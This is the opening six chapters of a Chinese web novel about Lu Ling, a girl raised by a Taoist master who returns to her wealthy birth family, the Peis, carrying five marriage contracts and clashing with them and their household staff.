《连退五封婚书,玄学大佬下山独美》 第1章:五份婚书??? 七月中旬,高考结束后的一个月。 天恒山山下,天恒村。 “阿翎姐,你总算下山了!你都不知道,你有个快递到快递站好多天了,我们又不敢上山来找你,打电话你又接不到。” 鹿翎刚走到山脚,旁边田里帮父母干农活的小姑娘对她大喊一声。 小姑娘刚说完,就被自己父母拉了一下,瞪了一眼。 她吐了吐舌头,没敢继续说话。 她父母对鹿翎假笑:“阿翎,早去早回啊。” 鹿翎对此表示正常得很,她点点头,情绪没多大变化。 从天恒山山脚走到村口,遇到不少村里人,但大多数和鹿翎都是礼貌地打招呼。 一是,鹿翎这孩子从小就文静内敛,不如其他孩子说话讨人喜欢;二是,她是在山上长大,是在那道观长大的孩子。 村里人不是不喜欢鹿翎,反而平时对鹿翎多加照顾。 着实是那山太过邪门,他们都不敢招惹…… 从村门口到镇上快递站也才一两公里,走路半个小时就到了。 鹿翎说了自己姓名和电话号码后四位后,快递站员工把她快递拿出来。 在等快递员给她拿快递的时间,她拿出手机登上好几天没看的微信,掠过快99+的消息,目光落在置顶的一排消息。 【江州裴家已经找到你了,你怎么想的???而且,你都准备回去了,裴家那个假女儿该怎么处置?】 【我告诉你啊,那裴家可不是好东西,你敢回去...你敢回去..我就不活了!(大哭.JPG)】 【既然他们已经找上你了,那你就先回去吧...我们这边你就不用担心,一个月拿几天回来看看我们就行了。】 三条消息,来自不同人。 除此之外便是一份有关裴家的详细资料。 鹿翎统一回了个无语表情包。 【微笑.JPG】 看完后,她收起手机。 快递签收完也没有拆开,被她夹在咯吱窝,一路夹回天恒村。 然而,刚走进村里没几步,早上在田坎喊的小姑娘光着脚朝鹿翎这边跑来。 看见鹿翎那一刻,才停下来呼呼喘气。 鹿翎也不着急,等她缓过气来,才问她发生了什么事。 “阿翎姐!山脚那边来人了!说是...说是...来找你的...” 鹿翎把录取通知书塞进怀里,挑挑眉,“来找我的?” 小姑娘点点头,气顺了些:“来得是位叔叔,看起来挺有钱的。不过,那叔叔非要上山,我们根本拦不住他。” 上山了? 鹿翎皱了皱眉,没多想,立马朝山脚方向小跑过去。 可还没走到山脚,就看见前面乌泱泱一群人。 路被堵死了。 为首的老头看见鹿翎,赶紧拿出他的大喇叭,冲人群大喊一声:“快让路,让阿翎上山救人!” 随着村长大喊,人群立马让出一条道来。 鹿翎马不停蹄地朝着山上跑去。 天恒山之所以邪门,不止是因为山里有很多野兽,更多的是地形迷宫加上磁场异常,极其迷路失联。 山中雾气很重。 鹿翎从兜里拿出一张黄纸,嘴里默念几句后,猛然挥向空中。 符纸停留在空中半响,后瞬间炸开,金光消散在空中。 一夕之间,周围,甚至是以鹿翎为中心开始,雾气迅雷不及掩耳之势瞬间消散。 她正要再拿出一张黄纸,林间突然传来一道清晰的男声:“人在道观,你回来便是。” 鹿翎眯眯眼,这老头,怎么不早说! 转身朝一条小路快速上山。 ——— 山顶。 鹿翎站在一处的道观前,苔藓布满石阶,两旁古松入云,门楣上“青云观”三字鎏金早已褪尽。 门没关,鹿翎踏进去。 一眼就看见地上躺着一个中年男人,头发湿漉漉的,西装上到处都是泥巴。 还有几处破损,不知道是被树枝刮坏,还是被什么东西咬的。 鹿翎走过去,蹲在人旁边,凝神看了好几眼。 白细手指摸上脖颈,颈动脉的跳动提示她,人还活着。 突然,鹿翎后脑勺不知道被什么东西砸了一下,带着明显愠怒的声音在背后响起:“死丫头!摸什么摸,还怕为师把他杀了不成?!” 鹿翎摸摸后脑勺,抬头冲他笑了笑:“那倒不是。” 来人从树上跳下来。 一身青色道观服,留着一头标准道士头,下巴一小撮胡子,说起话来,横眉眼怼的。 他摆摆手,很不耐烦地说道:“行了行了,等他醒了,就把他送回去。” 刚说完,躺在地上的中年男人哎呦一声,坐起来。 迷茫的眼神看向周围陌生环境,“这是哪?” 很显然,是不清楚自己发生了什么事。 鹿翎看了师傅未明子一眼。 未明子摸了摸自己的胡子,吹了几声口哨,转身离开这里。 中年男人环顾四周,目光钉在站在自己面前的少女,一时之间有些愣神。 面前的女生身姿高挑瘦削,五官绝美,皮肤白得吓人,一双漂亮到不行的眉眼冷漠极了。 这与他所想的灰头土脸的村姑形象大相径庭,“你就是鹿翎?” 不可否认,鹿翎的相貌确实出挑。 但回想起自家小姐哭红的眼睛,他的脸色越发冷硬苛刻。 “江州裴家来的?” 鹿翎也不恼,语气淡淡的。 中年男人闻言眼神闪过惊讶:“你知道裴家?” 鹿翎嗤笑一声,没回答。 中年男人见鹿翎这副满不在乎的模样,一时哑然,他轻咳一声,语气傲慢:“我是裴家的管家,你可以叫我裴管家,既然你知道裴家,那我也不再多说,十八年前因为你被人偷走,裴家不允许血脉流落在外,这些年来,裴家也没放弃找你,所以今天便让我来接你回裴家。” 说完,他气定神闲地看向鹿翎。 想在鹿翎脸上找到惊喜、震惊或是感激、痛哭流涕的情绪。 但从鹿翎知道他是裴家人后,表情一直淡淡的。 在自己说完她是裴家孩子后,表情还是淡淡的。 甚至看向裴管家的神情都带着似笑非笑,这让裴管家觉得不怎么舒服。 “让我跟你们回去?”鹿翎道:“行,那你等着。” 说完,她没在意裴管家这么想的,转身离开这里。 看着鹿翎离开的背影,裴管家嗤笑一声,并没有多说什么。 鹿翎离开大坝,走向道观后面,那里是她和未明子休息的地方。 她走到其中一个小屋,正要敲门,未明子的声音突兀地在身后响起:“不可能。” 鹿翎从怀里掏出一张黄纸,在他眼前晃了晃:“不让我下山,我就把你这道观给炸了。” 未明子眼睛一瞧,顿时气得吹胡子瞪眼:“死丫头,敢威胁我?!” 这符是威力巨大的震雷符,甩出去念咒,他这道观地被炸毁一半。 没想到这臭丫头为了离开天恒,竟然拿出此等符咒! “没办法,我亲生父母千里迢迢找过来,不回去显得我不孝啊。”鹿翎叹口气。 再者,她录取通知书都下来。 不去读书岂不是白费了她这十八年来的努力? 闻言,未明子冷笑出声,“哟,还是个大孝子!别忘了,要不是因为你是留守儿童,看你可怜,我才不会把你养到这么大。” 鹿翎正要解释,却见未明子不知道想到什么,脸上忽然露出意味深长的笑容来:“行,要回去可以,为师这有几样东西要你一起带下山,这可是关乎到你终身大事的东西。” 说着,他转身进屋。 没一会手上就拿出红彤彤的东西出来。 等走近一看,是小册子。 数量还不少。 应该是五本。 递到鹿翎手中,她才看清这是什么东西。 竟然是五份..... 五份婚书??? 第2章:第一个退婚对象 鹿翎坐在白色奔驰后座上,有些无语地看着手中五份红本本,脑中不断回想临走前,师父未明子说过的话。 “这五份婚书,有为师给你安排的,有你奶、你外公、你爸...反正你一家子给你定下的,想不想履行婚约,就看你自己。不过我先提醒你一句,有些婚约可不是这么好履行的。” “你家里人都不在你身边,如果要退婚的话,还是把你爸妈,爷奶,外公外婆叫上...刚好,你这次进城,就去看看你爸妈他们,你录取通知书到了,他们还不知道呢。” 五份婚书... 还全是她的婚书... 开什么玩笑? 长这么大,她都还不知道自己有婚约。 一份就算了,还是五份。 履行婚约? 做梦去吧。 鹿翎在心里默默翻个白眼,拿出其中的一份,又把其他四份塞进包里。 打开一看,上面除了一个名字外,其余的什么都没有。 鹿翎支起下巴,看向窗外。 此番下山,她有两个目标:一是上学,二是退婚。 履行婚约什么的,想都别想…… 坐在驾驶位开车的裴管家,透过后视镜,观察鹿翎的表情。 说实在的,从他说出鹿翎的身世后,这位鹿翎小姐表情一直都是无所谓,比起这些,她脸上的表情甚至带着淡淡的不耐烦和不屑。 而且,她根本不接话,连敲打她不要妄想和大小姐抢东西的话,都无法顺理成章的说出口。 不过转念一想,像这种在山沟沟里长大的孩子,又怎么可能知道裴家在江州是这么一个地位。 想着,裴管家眼中便流过一抹不屑。 他本来还能看在她是裴家亲生孩子的份上,给她一点提示,要让鹿翎在裴家好相处一些。 但看她现在目中无人的态度。 那还是算了。 犯点错,被赶出裴家就算不错了。 裴管家冷笑一声。 —— 两个小时后,车子刚驶入江州,驾驶车子的裴管家接到一通电话,脸色巨变,随之立马调转车头。 方向往郊区行驶。 到目的地,鹿翎睁开眼,发现地址不是在别墅区,而是在一家医院。 裴管家正好熄火下车,看鹿翎的眼神充满怒火。 鹿翎不明而已,正要推门下车。 裴管家抢先一步,伸出手,想要把鹿翎拽下车。 但鹿翎可不喜欢别人碰自己,再加上她反应速度快,躲了过去。 “裴管家,动手动脚是裴家的风格吗?”鹿翎下车,拍拍身上的灰尘,冷声开口。 裴管家冷哼一声,没说话。 鹿翎跟在裴管家身后,穿过地下停车场,坐电梯到一楼,来到急诊楼大门口。 穿过走廊,停在最里面一家病房门口。 病房内很吵闹。 鹿翎不是一个喜欢听墙角的人,但他们的声音实在是有些大,她想装作听不见都难。 “妈!为什么要把那个乡巴佬接回来!要不是因为她要回来,姐姐也不会自杀!” “这件事我也觉得您做得不对,这个事情你要先给我们商量一下,您至少要取得淼淼的同意啊!” “希望淼淼醒来,会原谅您吧。” “丽华,我也觉得你这个事有欠考虑。” “全是我的错,我不该把她接回来,但她也是我的女儿啊。”然后就是一阵捂脸痛哭的声音。 鹿翎在门口面无表情地听着,心里毫无波澜。 原来是那个假女儿闹自杀…… 裴管家站在门口,敲响房门,语气恭敬:“先生,夫人,鹿翎小姐到了。” 这一番话彻底让病房内的说话声熄灭。 紧接着就是一串脚步声。 出来的是位看起来只有十四五岁的少年,他看鹿翎的视线先是一愣,然后就是愤怒,最后指着鹿翎的鼻子骂:“你就是鹿翎,你这个扫把星,乡巴佬,要不是因为你要回来,姐姐也不会难过地自杀!” 鹿翎依旧面无表情,伸出手,捏住少年的手指。 少年脸色立马涨红起来,手臂随之鹿翎的动作渐渐同步。 “你父母没教过你,不能用手指指人吗?”鹿翎一用力,少年惨叫出声。 房间立马觉察出不对劲。 一出来,全部人都出来了。 为首的人是一对中年夫妻,应该就是裴父裴母了。 裴母眼眶红肿,脸色很白。 裴父脸色也不是很好,看鹿翎的眼神充满审视。 紧跟裴父裴母身后是两个年轻小伙,看样子应该就是裴家的两个儿子。 看鹿翎的视线和裴父一样,但多了几分警惕和愤怒。 “你养父母没教过你见到自己父母应该干什么吗?”裴父冷声开口。 鹿翎甩开少年,没带丝毫感情地反驳:“我爸妈至少教过我,不能用手指指人,怎么,裴家连着最基本的都没教过?” 说到最后一句,她还挑衅般挑了挑眉。 这话瞬间让裴家所有人皱起眉头。 “伶牙俐齿。”开口说话的是三个儿子中稍微年长的大儿子,裴昊然。 鹿翎无所谓地耸耸肩:“那我就当你们夸我就好了。” “你!”裴昊然被噎得说不出话来。 裴母见自己亲生女儿被养成这种刁蛮的性格,眼眶说红就红,上前一步就想要拉鹿翎的手。 但被鹿翎反应快躲了过去。 她皱皱眉,“不好意思裴夫人,我不喜欢外人碰我。” 这话一出,裴母的眼泪立马溢出眼眶,捂着嘴哽咽出声:“阿翎...我可是...你的亲生母亲...” 鹿翎可不吃这一套,她抱臂放在胸前:“别,我可当不起那么裴家的孩子,我有父有母,再则,你们说的话我可是在外面听得清清楚楚,裴家还兴当面一套背后一套?” 鹿翎毫不犹豫地戳破他们的伪装。 “行了!鹿翎,看来你的养父母根本就没有把你教好!你...” “景深哥!”年纪在中间的二儿子裴泽宇看向不远处,眼前一亮,冲对方摆了摆手。 被打断的裴父本来脸色就不好,不过在看见来人时,脸色缓和一些。 就连其余人表情都变得好看些。 在旁边一直没说话的裴耀阳,也就是被鹿翎捏住手指的少年,见此,立马扑上去,没差抱大腿告状:“景深哥,你终于来了,就是这个女人,如果不是因为她,姐姐也不会自杀。” 顾景深皱眉:“你就是裴家真正的女儿?” 但鹿翎注意力不在这个人身上,而是在这个名字身上。 景深... 景深... 鹿翎问:“你姓顾?” 顾景深虽然不明所以,但还是点点头。 裴耀阳一脸警惕:“你干什么?景深哥可是我姐姐的未婚夫,再加上,他可是顾氏集团的继承人,你配得上他吗?” “轰隆——” 无声的晴天霹雳在鹿翎的头顶炸响。 完了。 没想到她的第一个退婚对象,竟然是顾景深! 第3章:异父异母的妹妹 这顾景深竟然还是裴家千金的未婚夫。 这算什么事。 鹿翎在心中苦笑一声。 而就在这时,躺在床上的少女呻吟出声:“妈...是姐姐来了吗?” 声音很小,但爱女心切的裴母却立马就听见了。 她转身,看见裴淼淼睁开红肿双眼,嘴唇干涩地起了一层死皮,裴母的眼眶又红了,“淼淼,你终于醒了,吓死妈妈了。” 听到裴淼淼的声音,一行人拥进病房。 裴淼淼瞧见母亲为自己哭成泪人,她眼中闪过一丝不易觉察的笑意,嘴角微微勾起,不过在接触到鹿翎视线后,又立马恢复成苦兮兮的表情:“姐姐...你来了...” 她视线又转向站在门口的顾景深,“景深哥...” 顾景深见未婚妻在喊自己,急忙上前,杨丽华给他让个位置,好让他半跪在裴淼淼面前。 她这副状态,着实让裴家其他人的心情变得格外沉重。 年纪最小的裴耀阳直接趴在姐姐床边,哭了起来。 最大的裴昊然站在旁边,只是默默地摸裴耀阳的头,没说话。 鹿翎实在见不得她这个样子,在心里默默翻个白眼,站在旁边没说话。 杨丽华见此,皱了皱眉开口:“阿翎,你妹妹在叫你。” 鹿翎眸中似戏谑,似寒凉,“异父异母的妹妹?” 话音刚落,在场所有人神色一变。 裴父下意识看向站在门口的顾景深,冲离他最近的裴泽宇使眼色。 裴泽宇立马理解到了。 虽然他不知道发生了什么事。 但父母让他做什么就做什么。 顾景深皱皱眉,眼神示意,想问裴淼淼是什么意思,但旁边的裴泽宇却开口说道:“景深哥,既然姐姐已经醒了,我们就去给她买点补品吧。” 看着裴淼淼苍白的脸,他也没有多问,点了点头。 裴泽宇拉起顾景深离开病房。 裴家一行人的样子被鹿翎看得清清楚楚。 看样子裴淼淼是假千金的事,顾景深并不知道了。 见顾景深和裴泽宇走远,所有人视线齐刷刷看向站在床尾的鹿翎,神色各异。 单是“异父异母”这四个字,就说明鹿翎是知道她和裴淼淼其实是抱错的实情。 而杨丽华脑子嗡嗡的,十分震惊的看着鹿翎。 裴昊然也是如此。 在场人,只有裴耀阳一脸疑惑地看着众人:“什么异父异母?大家不都是妈妈生的吗?” 这话一出,再加上观察裴家人的表情,就知道不仅是顾景深,裴家这两个小儿子也并不知道。 裴昊然找个理由把裴耀阳带出去,顺手关上房门。 病房里只留下裴父裴母,和裴淼淼。 两人满脑子都是一个问题。 鹿翎她,是怎么知道这件事的。 而躺在病床上的裴淼淼,在鹿翎说出“异父异母”四个字的时候,本就面如白纸,此刻脸色像个纸人一般。 她脑中划过一个又一个的可能,心里乱成一团。 裴父表情黑如锅底:“什么异父异母的妹妹,淼淼是你的亲妹妹,你们两个是双胞胎。” 但此时,杨丽华脑子全是浆糊,下意识问出口:“你怎么知道...是谁告诉你的?” 裴淼淼回过神来,不知所措的看着鹿翎,整个人像是再次死掉一般。 裴父恨铁不成钢看着杨丽华,知道瞒不下去,最终还是没说什么,只是轻咳一声:“行了,你们都是我的女儿。” 不知道他想到什么,声音冷漠得很:“就算不是亲生那又如何,她这些日子在已经很伤心很难过了,难不成你还想要把她送回山沟沟那里去吗?我告诉你,淼淼和景深还有婚约在身,我劝你不要动什么歪心思。” 鹿翎耸耸肩,眸色漠然,“我可没这么想,你们养不养是你们的事。” 想起那封自己和顾景深的婚书,她差点就吐了。 祝他们锁死好吧。 裴淼淼别过脸,紧咬下唇,脸色变得格外难看。 鹿翎的语气,就好像她只是一个可有可无的宠物,想养就养,不想养就丢了一样。 裴父松口气,他摆摆手:“行了,等会我让裴管家送你回别墅,这几天就好好在家待着,哪都不要去。” 杨丽华见鹿翎没有丝毫感情的脸,心里咯噔一下,仿佛什么东西抽离,心底一下子变得空落落的。 裴父看向杨丽华,思考开口:“,丽华,你就和阿翎一起回去吧...刚好带她去商场买点东西。” 想着等会可以带她去买点衣服,借此机会,也可以和亲生女儿培养培养感情。 病房门被打开,裴管家站在门口。 裴母想了想,点点头。 裴淼淼嘴唇翕动,知道如果让妈妈和鹿翎走后,自己可能在母亲心中没那么重的分量,就绝对不能让她走。 索性自己装晕。 裴父可不懂这些弯弯绕绕,见自己女儿晕倒,又把刚说完,准备跟鹿翎走的杨丽华喊住。 而鹿翎也想拒绝,见此情况,何乐而不为。 杨丽华先是看了眼昏迷的裴淼淼,又看了眼鹿翎,最后还是选择了裴淼淼。 鹿翎对此并不在意,也在意料之中。 也没多说什么,跟裴管家出去。 刚出病房门,迎面撞上裴昊然和裴耀阳。 “哟,怎么,被爸妈赶出去了?活该,乡巴佬。”裴耀阳冲鹿翎做鬼脸。 结果,鬼脸没做成,“啪”的一声。 十分清脆的声音。 裴耀阳下意识捂住被打偏过头的脸,抬头,不可置信地看向鹿翎,回过神来,立马冲鹿翎张牙舞爪,嘴里不干不净骂道:“你这个土鳖!竟然还敢打我!” 话说完,鹿翎甩甩手,又是一脚踢过去。 把人踢倒在地。 事情发生太快,裴昊然都没反应过来。 门外的声音引起裴父裴母的注意。 裴父皱眉,余光瞟向被踢倒在地的裴耀阳,脸色顿时五颜六色。 杨丽华也皱了皱眉。 “看什么看,他骂我土鳖,咋?你想当土鳖他爸?”鹿翎第一眼看裴父,转头看向裴昊然,“你想当土鳖她哥?” 说完,鹿翎转身离开。 裴父裴母几人被这番话惊得说不出话了。 这简直是太粗鲁了! 果然是从乡下长大的。 一点教养都没有! 等两人反应过来,鹿翎已经走了。 裴昊然长这么大,就没见过怎么粗鲁的人,他表情像是吃了屎一样难看:“爸,我们真的要把这种人接回来吗?” 裴父沉声开口:“她是你妹妹,不接回来要在外面受苦吗?” 再者。 不把她接回来,可是要出大问题的... 第4章:杂物间,保姆房 这边。 裴管家本来就看鹿翎不顺眼,加上她刚刚对三少爷态度那么不好,脸色越发难看。 步伐也渐渐慢下来。 鹿翎自然也觉察到不对劲,她转身,果然看见裴管家脚步慢下来。 “裴管家,你看起来并不像是老年人啊。”鹿翎挑眉,讥讽出声。 说完,她也没有等裴管家,直接离开这里。 最开始,裴管家并未反应过来,鹿翎在说什么,说的是什么意思。 等回过神来,他才反应过来。 这乡巴佬在说他是个老头子,他明明也才五十几岁,怎么看也不像是六七十岁那种。 她怎么要这么说! 不知道想到什么,他嘴角勾起一抹弧度。 瞧见裴家人对她的态度,她在裴家地位肯定不好,说不定还不如家里的佣人,那么... 鹿翎小姐,不要怪我对你不好,谁让你从小就不在先生和夫人身边长大。 他拿出手机,拨出一个电话,说了几句。 等到对方回答后,他才点点头,挂断电话后,朝地下停车场方向走去。 鹿翎到停车场,本来打算是自己坐车回去,一点开手机余额,那算了,她宁愿等裴管家过来,带她回裴家。 靠在车边,等了大概五分钟,裴管家才赶来,步伐依旧慢悠悠的。 鹿翎也不慌,等他过来。 车子发动,鹿翎从兜里掏出一本小册子,漫不经心看起来。 书皮已经泛黄,看样子是十几年前的小书了。 通过后视镜看,裴管家并没有看见书封上写了什么,他撇了撇嘴,没说话,车子驶离地下停车场。 医院离裴家别墅并不远,四十分钟就到了。 大门缓缓从中间朝两边打开,车子驶进别墅区,停在裴家门口。 一下车,浓烈的恶臭气息扑面而来。 她捂鼻后退几步,抬头一看,别墅上空笼罩着一片黑云,皱了皱眉,没说话。 走到院子,佣人们都在干自己的事。 还没踏进门口,她刚想弯腰换鞋,耳边传来刺耳的声音:“这位小姐!麻烦换完鞋再进来!” 最后还小声补充了句:“果然是个乡巴佬,一点都不爱干净。” 声音传进耳朵太过难听,再加上,这一天不知道听到多少据乡巴佬,都要听烦了,她揉了揉耳朵,不耐烦抬头看人,语气冷冰冰的:“你眼瞎吗?没看见我在换吗?” 这话一出,张婶立马哽住。 她没想到这个乡巴佬竟然敢骂人,还骂得这么脏。 一时之间不知道怎么回话,不知所措地看了眼裴管家。 裴管家看她一眼,表示安抚。 轻咳一声,回道:“鹿翎小姐,做了一天车,也累了吧,先去房间休息吧。” 闻言,张婶走过来,她瞥了瞥嘴,“鹿翎小姐,你先跟我来吧。” 刚开始,裴管家已经给她打过电话,说是让给新来的大小姐准备个房间。 张婶在裴家也干了十几年,说是看着裴淼淼长大也不为过,亲眼看见淼淼小姐因为这个姐姐回来而感到闷闷不乐,今早更是因为她住进医院。 自然对她没什么好脸色。 房间? 直接给她带到一楼最角落的那个房间去。 走到一半,她下意识地回头看。 发现,鹿翎并没有跟着自己走,反而用一种似笑非笑的眼神把自己看着。 这眼神看得她头皮发麻,不知觉地后退一步。 支支吾吾开口道:“鹿翎...鹿翎小姐...你怎么不走啊...” 鹿翎歪头笑:“因为我在看你的面相啊。” 她走上前去,围着张婶上下打量。 审视又带着侵略性的视线让张婶全身都不舒服,她后退好几步,跌坐在地上,语气结结巴巴:“鹿...鹿翎小姐...” “你这面相...”鹿翎摸着下巴,欲言又止,“三天后必有血光之灾啊!” 闻言,张婶浑身打个激灵,在听清楚她说的是什么后,突然站起来,面色气得通红又扭曲,指着鹿翎鼻子骂道:“你这个乡巴佬!简直是胡说八道...” 噼里啪啦说了一堆,反正是骂鹿翎的。 裴管家也是第一次见到这么凶的张婶,一时间没反应过来。 等反应过来的时候,张婶已经骂完了,她喘着粗气,吭呲的,气冲冲上了楼,也没等鹿翎。 鹿翎倒是无所谓,耸耸肩。 她可没有看错。 她刚刚看到裴家别墅上方有一团黑屋,仔细观察在裴家上班的每一个人。 多少发现这些人面相都不太好。 停到房门口,张婶的脸色依旧不好,眼中却闪过一丝狡黠:“这就是你的房间,自己进去吧,没事就别出来,免得让淼淼小姐看见,让先生和夫人糟心。” 鹿翎推开房间门,扑面而来的便是整个房间的灰尘。 她往旁边一侧,捂住自己的鼻子,睨着这个张婶带她来的房间。 房间里堆满了杂物,落灰的窗帘拉着,让原本窄小的房间显得格外逼仄。 鹿翎:“这就是我的房间?” 张婶抱着肩,一副爱答不理的模样。 心中默默翻个白眼,她早就打定主意要做点什么敲打敲打这个鹿翎小姐,让她摆正自己位置,不要肖想不属于她的东西。 原本给她安排的不是这个房间,而是一楼的保姆房。 但刚刚那番话让她改变主意。 直接去住二楼的杂物房吧。 然而,见状鹿翎直接朝另一个方向走去。 见面前的少女没有如同预期一般,自卑怯懦地进房间等着,张婶稍微有些慌张。 转念一想鹿翎不过是从乡下回来的乡巴佬,在虚张声势罢了,就放下心来。 谁知,鹿翎开始从一间一间地打开其他房间的房门。 让鹿翎没想到的是,裴淼淼在裴家还挺受宠的。 整个二楼,三分之二的房间都是裴淼淼的。 从杂物间到琴房,再到舞蹈房,还有属于裴淼淼一个人的书房。 一间又一间,完全没有停下来的意思。 张婶这下彻底慌乱,她快步走到鹿翎身边,压低声音厉声问道:“你在干什么?!” 鹿翎直接无视她,接着又打开一间房间。 见状,张婶想要拦住她,抓住她的手。 没想到鹿翎一侧身,张婶没反应过来,自己推开房间门,因为没站稳,整个人又趴在了地上,和大地来了个亲密接触。 鹿翎看清了屋内情况。 粉色公主床、粉色沙发,还有粉色地毯。 整个房间都是粉色的。 “这是淼淼小姐的房间!”趴在地上的张婶立马从地上爬起来,抓住鹿翎的胳膊,想要把她拉出来,却被鹿翎躲开。 没想到张婶又没站稳,整个人再次和大地来个亲密接触。 鹿翎随手甩上裴淼淼的门,双手抱臂,靠在门框边上,挑眉道:“没想到张婶还喜欢亲吻大地啊。” 摔倒两次,张婶全身上下痛得很,边哎呦出声,边双手撑地站起来。 听到这话,张婶脸色一阵青一阵白。 说罢,鹿翎转身就走,反手对张婶做个拜拜,“算了,既然没给我安排房间,那我就走。” 闻言,张婶眼中闪过一丝窃喜。 走了好,走了好。 这样淼淼小姐就不会伤心了。 刚走下楼,院子就传来汽车的引擎声。 裴管家从旁边出来,在门口迎接。 回来的是只有裴夫人杨丽华,裴父和裴浩然看完裴淼淼后,要处理公司的事。 裴耀阳出去找他的同学玩了。 顾景深买完补品后,就陪裴淼淼说两句话,也离开医院,前往公司。 裴泽宇和裴淼淼感情比其他两个孩子要深,毕竟这他们是龙凤胎。 但现在,鹿翎和裴泽宇才是龙凤胎了。 回来的只有裴夫人。 看见鹿翎走时,裴夫人擦干眼泪,惊讶道:“阿翎你去哪啊?” 鹿翎叹口气:“哎,裴夫人,家里没准备我的房间就直接说嘛,一回来就是把我领进杂物间保姆房算怎么个事?” 而恰好张婶从屋内出来。 她本来还想对杨丽华告状,说鹿翎目无尊长,一点都没有教养,但听到鹿翎恶人先告状,一下子就急了。 话还没说出口,她眼珠子一转,主意又涌上心头。 一下子就扑到杨丽华面前,抱住杨丽华的大腿,开始哭诉刚刚鹿翎在裴家做的说的一切。 反正,自己做的事,说过的话,她是一个字也没提。 杨丽华听完,她皱了皱眉,疑惑的眼神先是看了眼趴到在她脚边的张婶,又抬头看站在面前,刚从乡下接回来,面无表情的亲生女儿。 杨丽华都没回答两人的话,而是对裴管家说道:“裴管家,去把监控拿出去。” 闻言,张婶脸色一白。 完了,要是被夫人看见她怎么对待鹿翎,那不得把自己开除。 不过转念一想,自己好歹在裴家做了这么久,没有功劳也有苦劳吧。 而鹿翎却意外地挑了挑眉。 裴管家和张婶是一伙的,自然不会让张婶受到责罚,脸不红心不慌开口说道:“是这样的夫人,是我的疏忽,监控早在三天前就换了,不过我现在叫人来修。” 杨丽华皱眉,刚想说一句,会想起临走前,裴父说的话。 她抢下来烦躁,呢喃了一句:“坏了啊...那没有证据的话,我就先谁都不相信吧,毕竟一个是我的亲生女儿,一个是在家做了十几年的保姆。” 说完,她进屋了。 第5章:对她简直太失望了! 张婶见杨丽华进屋,对鹿翎翻个白眼。 压低声音,恶狠狠道:“你看吧,就算你这个亲生女儿告状,她也不会偏袒你。” 鹿翎倒是无所谓地耸耸肩:“我又不在乎。” 他们裴家的所有人,我都不在乎。 进屋后,杨丽华本来还想和鹿翎说说话,培养培养感情,谁知,她根本就没有进屋。 转头一看,发现张婶和鹿翎在窃窃私语。 张婶位置又刚好能看见杨丽华,而鹿翎则是背对大门,自然看不见杨丽华在她们身后。 坏主意又涌上脑子。 “啊!鹿翎小姐,你为什么要推我?”边说,她边摔倒在地。 见状,杨丽华立马上前,把张婶扶起来,用恨铁不成钢的眼神把鹿翎盯着,语气听起来失望得很:“阿翎,我原本以为你只是脾气差,说话口无遮拦,没想到你还是这种人...” 本来她还不相信张婶说的话,想着鹿翎是自己的亲生女儿,自己也不会偏袒任何人。 没想到看见这一幕后,她对张婶的话是百分百相信了。 鹿翎似笑非笑地看着两人。 张婶被看得头皮发麻,还没反应过来,胳膊就被人扯了过去。 眼前一阵昏天黑地。 全身上下,半边身子发麻又发疼。 等她回过神来,发现自己躺在地上,鹿翎则是居高临下地看着自己,眼神冷漠得很。 鹿翎转头看向杨丽华,“这才是我推的。” 说完,她转身就走。 杨丽华瞧见这幕,指着鹿翎的背影,气得话都说不出来。 张婶也顾不得身上的疼痛,连忙爬起来,给杨丽华顺气,口中还在不停地安慰杨丽华,也不忘暗戳贬低鹿翎。 越想,杨丽华就越生气,冲进去屋去,便看见鹿翎拿着手机,翘着二郎腿坐在沙发上玩,厉声道:“鹿翎!给张婶道歉!” 连阿翎都不喊了,看来夫人气得不轻。 张婶和裴管家在旁边看戏。 鹿翎没听,垂下头继续玩手机。 被鹿翎无视,杨丽华只觉得她心中怒火快速上升,态度完全没有先前那般好。 一是,鹿翎毕竟不是在她身边长大,对她只有一点愧疚而已。 二是,鹿翎在看见他们的第一眼,竟然不喊爸爸妈妈,而且对他们的态度冷淡得很。 再加上,她才回来一天,就敢对自己人动手动脚。 现在,还这么对待裴家人。 回想起种种,她现在的态度自然不会好起来。 对她简直太失望了! “我在跟你说话,你没听见吗?”她快步上前,想要夺走鹿翎的手机。 但被鹿翎侧身躲过,站起来,双手插兜,“道歉?凭什么?裴夫人,是你们要把我接回来的,现在让我给一个满口谎话的人道歉?不可能。” “你!你!你!”杨丽华指着鹿翎,差点气得背过气去。 张婶又来安慰她。 鹿翎恍然大悟:“我终于知道裴三喜欢指着鼻子骂人,原来是遗传您的啊。” 杨丽华彻底气晕过去。 张婶见状,心中窃喜不已,赶忙给家庭医生打电话。 鹿翎笑了一下,转身上了楼。 张婶把杨丽华安顿好,见鹿翎上了楼,赶快跟上去,生怕她又在楼上捣乱。 刚上楼,看见鹿翎直接进了一间房间,她立刻快步上前去,焦急喊道:“那是先生的书房,你不能进!” 鹿翎没听, 张婶气得七窍生烟,“你怎么一点到了别人家的自觉都没有!那可是先生的书房,你一个外人怎么能...” 然而,砰地一声,书房门被鹿翎关上。 第6章:录取通知书 张婶走得太急,以至于直接撞在了门板上。 撞得生疼,鼻子通红,不知道是被气的还是撞的。 鹿翎一进到书房,并没有随便乱翻,只是静静坐在沙发上,掏出在车子上看的小册子,继续拿出来看。 其实在张婶说谎的时候,鹿翎就想到真言符。 用真言符破了张婶的谎言。 但想了想,对裴家人用掉一张符咒,还是划不来。 他们不配。 而且,她本就打算不会在裴家待很久。 若是裴家人索性当她这个有血缘关系的女儿死了,不来招惹自己,那她完全没有意见。 可是,他们偏偏要把自己接回来,还特意跑到她面前,找点存在感,那就别怪她脾气不好。 —— 楼下。 家庭医生来了后,大概给杨丽华看了一下,说是被气的,让她最近心情要放松一些。 杨丽华靠在沙发上,一只手搭在额头处,脸色白得很。 张婶下来给她说完楼上的情况后,杨丽华作势又要晕倒。 张婶问:“夫人,要把鹿翎小姐带出来吗?” 杨丽华叹口气,摆摆手:“算了算了,不管她了,给她收拾一下客房,让给她住。” 张婶低眉顺眼地应了声。 —— 晚饭时间,裴家众人从外面回来。 一进门,众人就看见杨丽华躺在沙发上,脸色憔悴。 裴管家和张婶见他们回来后,把今天发生的事添油加醋讲给他们听。 一时间,裴家所有人脸色难看。 裴耀阳气得脸色通红,大声囔囔:“我就说不要让她这个乡巴佬回来,你们看,一回来就这么多事!” 裴父和裴昊然脸色皆是铁青。 裴泽宇沉默不说话,但眉宇间皱起的眉头,能看出,他脸色也不太好看。 “她现在在哪?”裴父阴沉着脸问道。 张婶:“鹿翎小姐她在二楼书房。” “在爸的书房?”裴昊然拧眉,脸色越发地难看。 